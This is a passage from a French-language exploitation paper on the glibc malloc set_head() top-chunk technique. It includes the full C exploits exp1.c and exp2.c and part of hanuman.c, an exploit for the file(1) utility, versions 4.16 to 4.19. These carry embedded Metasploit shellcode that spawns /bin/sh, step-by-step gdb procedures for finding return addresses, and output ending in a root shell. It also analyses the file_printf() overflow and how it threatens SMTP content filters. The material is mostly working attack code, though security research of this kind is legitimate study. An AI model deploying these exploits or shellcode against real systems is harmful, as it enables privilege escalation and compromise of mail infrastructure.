MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; /* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3"; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // Le "- 8" est là pour ne pas s'embêter avec la normalisation // du paramètre de malloc shead->malloc_size = (retloc - toploc - 8); // En ajoutant 8, nous pouvons parfois toucher parfaitement // l'adresse de retour. Pour la toucher parfaitement, retadr doit // être multiple de 8, plus 1 (pour le PREV_INUSE). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } int main (int argc, char *argv[]) { char *buffer; char malloc_size_string[20]; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; struct sethead *shead; if ( argc != 4) { printf ("wrong number of arguments, exiting...\n\n"); printf ("%s \n\n", argv[0]); return 1; } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; buffer = (char *) malloc (1036); memset (buffer, 0x90, 1036); put_longword (buffer+1028, topchunk_size); memcpy (buffer+1028-strlen(scode), scode, strlen (scode)); buffer[1032]=0x0; snprintf (malloc_size_string, 20, "%u", malloc_size); execl ("./scenario1", "scenario1", buffer, malloc_size_string, NULL); return 0; } --------------------------- end of exp1.c --------------------------------- Voici les étapes pour trouver les 3 valeurs de mémoire pour utiliser cet exploit. 1 - La première étape consiste à générer un coredump du programme vulnérable. Vous devrez alors analyser ce coredump pour trouver les bonnes valeurs pour votre exploit. Pour générer un coredump, trouvez une approximation de l'endroit du top chunk en récupérant l'adresse de base de la section BBS. Normalement, le tas commence juste après la section BBS : bash$ readelf -S ./scenario1 | grep bss [22] .bss NOBITS 080495e4 0005e4 000004 La section BBS commence à 0x080495e4. Appelons l'exploit de la manière suivante, et souvenez-vous de remplacer 0x080495e4 par la valeur de BBS que vous avez trouvé : bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4 --[ Impossible to use 0x80495e4 as the top chunk location. Using 0x80495e0 instead --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1 instead Segmentation fault (core dumped) bash$ 2 - Appeler gdb sur ce coredump. bash$ gdb -q scenario1 core.2212 Core was generated by `scenario1'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/debug/libc.so.6...done. Loaded symbols for /usr/lib/debug/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb) 3 - Le registre ESI contient l'adresse du top chunk. Ça pourrait être un autre registre dans votre cas. (gdb) info reg esi esi 0x8049a38 134519352 (gdb) 4 - Essayez de chercher avant l'endroit du top chunk après le tampon de nop. Ça sera notre adresse de retour. 0x8049970: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049980: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049990: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499a0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499b0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499c0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499d0: 0x90909090 0x90909090 0x90909090 0x90909090 0x80499e0: 0x90909090 0x90909090 0x90909090 0xe983c931 0x80499f0: 0xd9eed9f5 0x5bf42474 0x27137381 0x83b3c0e2 0x8049a00: 0xf4e2fceb 0x2a98e94d 0x9ea88475 0xdb276b44 (gdb) 0x8049990 est une adresse valide. 5 - Pour récupérer l'endroit de retour de notre exploit, récupérez un EIP sauvegardé dans un cadre de pile. (gdb) frame 2 #2 0x0804840a in main () (gdb) x $ebp+4 0xbffff52c: 0x4002980c (gdb) 0xbffff52c est l'endroit de retour. 6 - Vous pouvez maintenant appeler l'exploit avec les valeurs que vous avez trouvé. bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38 --[ Using 0x8049a38 as the top chunk location. --[ Using 0xbffff52c as the return location. --[ Impossible to use 0x8049990 as the return address. Using 0x8049991 instead sh-2.05b# exit exit bash$ ------[ 6.1.2.1 - Écrasements multiples Ce scénario est un exemple de situation où il pourrait être possible de tirer profit de la technique set_head() pour qu'elle écrite plusieurs fois en mémoire. Appliquer cette technique va nous aider à améliorer la fiabilité de notre exploit. Ça va augmenter vos chances de trouver un endroit de retour valide quand vous exploiterez le programme. --------------------------- scenario2.c ----------------------------------- #include #include #include int main (int argc, char *argv[]) { char *buffer1; char *buffer2; unsigned long size; /* [1] */ buffer1 = (char *) malloc (4096); /* [2] */ fgets (buffer1, 4200, stdin); /* [3] */ do { size = 0; scanf ("%u", &size); /* [4] */ buffer2 = (char *) malloc (size); /* * Random code */ /* [5] */ free (buffer2); } while (size != 0); return 0; } ------------------------- end of scenario2.c ------------------------------ Voici une brève description des lignes importantes du code : [1] : Une zone mémoire de 4096 octets est demandée. Le top chunk est divisé et la requête est effectuée. [2] : On fait un appel à fgets(). On ne vérifie pas si le buffer destination est assez grand. Le top chunk peut donc être débordé ici. [3] : Le programme entre dans une boucle. Il lit depuis "stdin" jusqu'à ce que le nombre "0" soit entré. [4] : On fait un appel à malloc avec "size" en paramètre. La boucle ne s'arrêtera que quand "size" vaudra 0. Ça donne à l'attaquant la possibilité d'écraser la mémoire à plusieurs reprises. [5] : Le buffer doit être libéré à la fin de la boucle. ------[ 6.1.2.2 - Exploit --------------------------- exp2.c ---------------------------------------- /* Exploit for scenario2.c */ #include #include #include #include // Les #define suivants sont issus de malloc.c. Ils sont utilisés // pour calculer les valeurs de taille pour malloc et pour le top chunk. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; /* linux_ia32_exec - CMD=/bin/id Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f" "\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10" "\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f" "\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4" "\xae\xf0\x9a\x3d"; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // Le "- 8" est là pour ne pas s'embêter avec la normalisation // du paramètre de malloc shead->malloc_size = (retloc - toploc - 8); // En ajoutant 8, nous pouvons parfois toucher parfaitement // l'adresse de retour. Pour la toucher parfaitement, retadr doit // être multiple de 8, plus 1 (pour le PREV_INUSE). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } int main (int argc, char *argv[]) { char *buffer; char malloc_size_buffer[20]; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; struct sethead *shead; int i; if ( argc != 4) { printf ("wrong number of arguments, exiting...\n\n"); printf ("%s \n\n", argv[0]); return 1; } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; free (shead); buffer = (char *) malloc (4108); memset (buffer, 0x90, 4108); put_longword (buffer+4100, topchunk_size); memcpy (buffer+4100-strlen(scode), scode, strlen (scode)); buffer[4104]=0x0; printf ("%s\n", buffer); for (i = 0; i < 300; i++) { shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; printf ("%u\n", malloc_size); retloc = retloc - 8; retadr = retadr + 8; free (shead); } return 0; } --------------------------- end of exp2.c --------------------------------- Voici les étapes pour trouver les valeurs de mémoire à utiliser pour cet exploit. 1 - La première étape consiste à générer un coredump du programme vulnérable. Vous devrez alors analyser ce coredump pour trouver les bonnes valeurs pour votre exploit. Pour générer un coredump, trouvez une approximation de l'endroit du top chunk en récupérant l'adresse de base de la section BBS. Normalement, le tas commence juste après la section BBS : bash$ readelf -S ./scenario2|grep bss [22] .bss NOBITS 0804964c 00064c 000008 La section BBS commence à 0x0804964c. Appelons l'exploit de la manière suivante, et souvenez-vous de remplacer 0x0804964c par la valeur de BBS que vous avez trouvé : bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2 --[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x804964c as the return address. Using 0x8049649 instead --[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead [...] --[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c instead --[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1 instead Segmentation fault (core dumped) bash# 2- Appeler gdb sur ce coredump. bash$ gdb -q scenario2 core.2698 Core was generated by `./scenario2'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/debug/libc.so.6...done. Loaded symbols for /usr/lib/debug/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb) 3 - Le registre ESI contient l'adresse du top chunk. Ça peut être un autre registre dans votre cas. (gdb) info reg esi esi 0x804a6a8 134522536 (gdb) 4 - Pour l'adresse de retour, récupérez une adresse au début du tampon de nop : 0x8049654: 0x00000000 0x00000000 0x00000019 0x4013e698 0x8049664: 0x4013e698 0x400898a0 0x4013d720 0x00000000 0x8049674: 0x00000019 0x4013e6a0 0x4013e6a0 0x400899b0 0x8049684: 0x4013d720 0x00000000 0x00000019 0x4013e6a8 0x8049694: 0x4013e6a8 0x40089a80 0x4013d720 0x00000000 0x80496a4: 0x00001009 0x90909090 0x90909090 0x90909090 0x80496b4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496c4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496d4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496b4 est une adresse valide. 5 - On peut maintenant appeler l'exploit avec les valeurs qu'on a trouvé. L'endroit de retour sera 0xbffffffc, et il décrémentera avec chaque écriture. Le shellcode dans exp2.c exécute /bin/id. bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2 --[ Using 0x804a6a8 as the top chunk location. --[ Using 0xbffffffc as the return location. --[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9 instead [...] --[ Using 0xbffff6a4 as the return location. --[ Impossible to use 0x804a00c as the return address. Using 0x804a011 instead uid=0(root) gid=0(root) groups=0(root) bash$ ----[ 6.2 - Un scénario réel : l'outil file(1) La technique set_head a été développée pendant les recherche d'un trou de sécurité dans l'outil UNIX file(1). cet outil est un outil de reconnaissance de type de contenu automatique qu'on trouve que beaucoup de systèmes UNI. Les versions affectées sont les versions d'Ian Darwin 4.00 à 4.19, maintenues par Christos Zoulas. Cette version est la version standard pour Linux, *BSD et autres systèmes, maintenus par Christos Zoulas. La principale raison pour laquelle autant d'énergie a été mise dans le développement de cet exploit est surtout parce que la présence d'une vulnérabilité dans cet outil représente un haut risque de sécurité pour un filtre de contenu SMTP. Un filtre de contenu SMTP est un système qui agit après que le serveur SMTP ait reçu l'email et appliqué diverse politiques de filtrage définies par l'administrateur réseau. Une fois que le processus de scan est fini, le filtre décide si le message est relayé ou pas. Un filtre de contenu SMTP doit être capable d'appeler différentes sortes de programmes lors de la réception d'un mail : - Désarchiveurs ; - Décodeurs ; - Classifieurs; - Antivirus; - et beaucoup d'autres ... L'outil file(1) tombe dans la catégorie "classifieur". Ce vecteur d'attaque fournis une nouvelle façon de voir les vulnérabilités précédemment classées comme à faible risque. L'auteur de ce papier est aussi le mainteneur de PIRANA [7], un framework d'exploitation qui teste la sécurité d'un filtre de contenu d'email. D'après une base de donnée de vulnérabilités, le filtre de contenu va être bombardé par divers emails contenant des charges malicieuses dont le but est de compromettre la plateforme informatique. Le but de PIRANA est de tester si une vulnérabilité existe ou pas sur une plateforme de filtre de contenu. ------[ 6.2.1 - Le trou La vulnérabilité se trouve dans la fonction file_printf(). Cette fonction remplis le contenu du buffer "ms->o.buf" avec les caractéristiques du fichier inspecté. Une fois que c'est fait, le buffer est imprimé à l'écran, montrant quel type de fichier est détecté. Voici la fonction vulnérable : --[ Dans file-4.19/src/funcs.c 01 protected int 02 file_printf(struct magic_set *ms, const char *fmt, ...) 03 { 04 va_list ap; 05 size_t len; 06 char *buf; 07 08 va_start(ap, fmt); 09 if ((len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap)) >= ms-> o.len) { 10 va_end(ap); 11 if ((buf = realloc(ms->o.buf, len + 1024)) == NULL) { 12 file_oomem(ms, len + 1024); 13 return -1; 14 } 15 ms->o.ptr = buf + (ms->o.ptr - ms->o.buf); 16 ms->o.buf = buf; 17 ms->o.len = ms->o.size - (ms->o.ptr - ms->o.buf); 18 ms->o.size = len + 1024; 19 20 va_start(ap, fmt); 21 len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap); 22 } 23 ms->o.ptr += len; 24 ms->o.len -= len; 25 va_end(ap); 26 return 0; 27 } À première vue, cette fonction semble faire attention à ne pas déborder le buffer "m->o.ptr". Une première copie est faite en ligne 09. Si le buffer de destination, "ms->o.buf", n'est pas assez grand pour recevoir la chaîne de caractères, la zone mémoire est réallouée. La réallocation est faite à la ligne 11, mais la nouvelle taille n'est pas calculée correctement. En fait, la fonction assume que le buffer ne sera jamais plus grand que 1024 de plus que la longueur actuelle de la chaîne calculée. Le vrai problème est à la ligne 21. La variable "ms->o.len" représente le nombre d'octets dans "ms.o.buf". La variable "len", de l'autre côté, représente le nombre de caractères (sans inclure le '\0' de fin de chaîne) qui aurait du être écrit dans la chaîne finale s'il y avait eu assez de place. Si le buffer à imprimer est plus long que "ms->o.len", alors "len" contient une valeur plus grande que "ms->o.len". Dans ce cas, à la ligne 24, "len" sera soustrait à "ms->o.len". "ms->o.len" va alors tomber en deçà de 0 et deviendra un très gros nombre positif parce qu'il est de type size_t. L'appel suivant à vsnprintf() recevra alors un paramètre de longueur très gros, rendant alors toutes vérifications des bornes inutiles. ------[ 6.2.2 - Toutes les pièces sont en place Il y a une portion de code intéressante dans la fonction denote()/readelf.c. Il y a un appel à la fonction vulnérable file_printf(), avec un buffer fournis par l'utilisateur. En prenant avantage de ce code, il va être beaucoup plus simple d'écrire un exploit fructueux. En fait, il sera possible d'écraser les informations du chunk avec des valeurs arbitraires. --[ Dans file-4.19/src/readelf.c /* * Extract the program name. It is at * offset 0x7c, and is up to 32-bytes, * including the terminating NUL. */ if (file_printf(ms, ", from '%.31s'", &nbuf[doff + 0x7c]) == -1) return size; Après une paire d'essais à déborder l'en tête du prochain chunk, il était clair que la seule chose débordable était le wilderness chunk. Il n'était pas possible de provoquer une situation où un chunk non-adjacent au top chunk, soit débordable avec des données contrôlées par l'utilisateur. L'outil fil soufre de ce buffer overflow depuis la version 4.00, quand la première version de file_printf() a été introduite. Une exploitation réussie n'était possible qu'à partir de la version 4.16. En fait, cette version inclu un appel à malloc avec des variables contrôlées par l'utilisateur. Dans readelf.c : --[ Dans file-4.19/src/readelf.c if ((nbuf = malloc((size_t)xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; C'était ça la pièce manquante du puzzle. Maintenant, toutes les conditions d'utilisation de set_head sont réunies. ------[ 6.2.3 - hanuman.c /* * hanuman.c * * file(1) exploit for version 4.16 to 4.19. * Coded by Jean-Sebastien Guay-Leroux * http://www.guay-leroux.com * */ /* Voici les étapes pour trouver les valeurs de mémoire à utiliser pour exploiter file(1). 1 - La première étape consiste à générer un coredump du programme vulnérable. Vous devrez alors analyser ce coredump pour trouver les bonnes valeurs pour votre exploit. Pour générer un coredump, trouvez une approximation de l'endroit du top chunk en récupérant l'adresse de base de la section BBS. Normalement, le tas commence juste après la section BBS : bash# readelf -S /usr/bin/file Section Headers: [Nr] Name Type Addr [ 0] NULL 00000000 [ 1] .interp PROGBITS 080480f4 [...] [22] .bss NOBITS 0804b1e0 La section BBS commence à 0x0804b1e0. Appelons l'exploit de la manière suivante et souvenez vous de remplacer 0x0804b1e0 par la valeur que vous avez trouvé : bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal --[ Using 0x804b1e0 as the top chunk location. --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1 instead --[ The file has been written bash# file mal Segmentation fault (core dumped) bash# 2- Appelez gdb sur ce coredump. bash# gdb -q file core.14854 Core was generated by `file mal'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/libmagic.so.1...done. Loaded symbols for /usr/local/lib/libmagic.so.1 Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /usr/lib/gconv/ISO8859-1.so...done. Loaded symbols for /usr/lib/gconv/ISO8859-1.so #0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6 (gdb) 3- Le registre EAX contient l'adresse du top chunk. Ça pourrait être un autre registre dans votr cas. (gdb) info reg eax eax 0x80614f8 134616312 (gdb) 4 - Commencez à chercher à partir du top chun après votre tampon de nop. Ça sera notre adresse de retour. 0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1 0xc0c0c0c1 0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027 0x616e6769 0x8061518: 0x2930206c 0x90909000 0x90909090 0x90909090 0x8061528: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061538: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061548: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061558: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061568: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061578: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061588: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061598: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615a8: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615b8: 0x90909090 0x90909090 (gdb) 0x8061558 est une adresse valide. 5 - Pour avoir l'endroit de retour de notre exploit, récupérez un EIP sauvegardé dans un cadre de pile : (gdb) frame 3 #3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at readelf.c:1007 1007 if (doshn(ms, class, swap, fd, (gdb) x $ebp+4 0xbffff7fc: 0x400172b3 (gdb) 0xbffff7fc est l'endroit de retour 6 - vous pouvez maintenant appeler l'exploit avec les valeurs que vous avez trouvé. bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal --[ Using 0x80614f8 as the top chunk location. --[ Using 0xbffff7fc as the return location. --[ Impossible to use 0x8061558 as the return address. Using 0x8061559 instead --[ The file has been written bash# file mal sh-2.05b# */ #include #include #include #include #include #define DEBUG 0 #define initial_ELF_garbage 75 //ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically // linked #define initial_netbsd_garbage 22 //, NetBSD-style, from ' #define post_netbsd_garbage 12 //' (signal 0) // Les #define suivants sont issus de malloc.c. Ils sont utilisés // pour calculer les valeurs de taille pour malloc et pour le top chunk. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) // Offsets des entrées dans le fichier #define OFFSET_31_BYTES 2048 #define OFFSET_N_BYTES 2304 #define OFFSET_0_BYTES 2560 #define OFFSET_OVERWRITE 2816 #define OFFSET_SHELLCODE 4096 /* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3"; struct math { int nnetbsd; int nname; }; struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; // Pour être un peu plus indépendants, nous avons pris les structures ELF suivantes de elf.h typedef struct { unsigned char e_ident[16]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; uint32_t e_entry; uint32_t e_phoff; uint32_t e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } Elf32_Ehdr; typedef struct { uint32_t sh_name; uint32_t sh_type; uint32_t sh_flags; uint32_t sh_addr; uint32_t sh_offset; uint32_t sh_size; uint32_t sh_link; uint32_t sh_info; uint32_t sh_addralign; uint32_t sh_entsize; } Elf32_Shdr; typedef struct { uint32_t n_namesz; uint32_t n_descsz; uint32_t n_type; } Elf32_Nhdr; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // Le "- 8" est là pour ne pas s'embêter avec la normalisation // du paramètre de malloc shead->malloc_size = (retloc - toploc - 8); // En ajoutant 8, nous pouvons parfois toucher parfaitement // l'adresse de retour. Pour la toucher parfaitement, retadr doit // être multiple de 8, plus 1 (pour le PREV_INUSE). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } /* Not CPU friendly :) */ struct math * compute (int offset) { int accumulator = 0; int i, j; struct math *math; math = (struct math *) malloc (8); if (math == NULL) { printf ("--[ Could not allocate memory for math structure\n"); exit (1); } for (i = 1; i < 100;i++) { for (j = 0; j < (i * 31); j++) { accumulator = 0; accumulator += initial_ELF_garbage; accumulator += (i * (initial_netbsd_garbage + post_netbsd_garbage)); accumulator += initial_netbsd_garbage; accumulator += j; if (accumulator == offset) { math->nnetbsd = i; math->nname = j; return math; } } } // Failed to find a value return 0; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } FILE * open_file (char *filename) { FILE *fp; fp = fopen ( filename , "w" ); if (!fp) { perror ("Cant open file"); exit (1); } return fp; } void usage (char *progname) { printf ("\nTo use:\n"); printf ("%s ", progname); printf (" \n\n"); exit (1); } int main (int argc, char *argv[]) { FILE *fp; Elf32_Ehdr *elfhdr; Elf32_Shdr *elfshdr; Elf32_Nhdr *elfnhdr; char *filename; char *buffer, *ptr; int i; struct math *math; struct sethead *shead; int left_bytes; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; if ( argc != 5) { usage ( argv[0] ); } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); filename = (char *) malloc (256); if (filename == NULL) { printf ("--[ Cannot allocate memory for filename...\n"); exit (1); } strncpy (filename, argv[4], 255); buffer = (char *) malloc (8192); if (buffer == NULL) { printf ("--[ Cannot allocate memory for file buffer\n"); exit (1); } memset (buffer, 0, 8192); math = compute (1036); if (!math) { printf ("--[ Unable to compute a 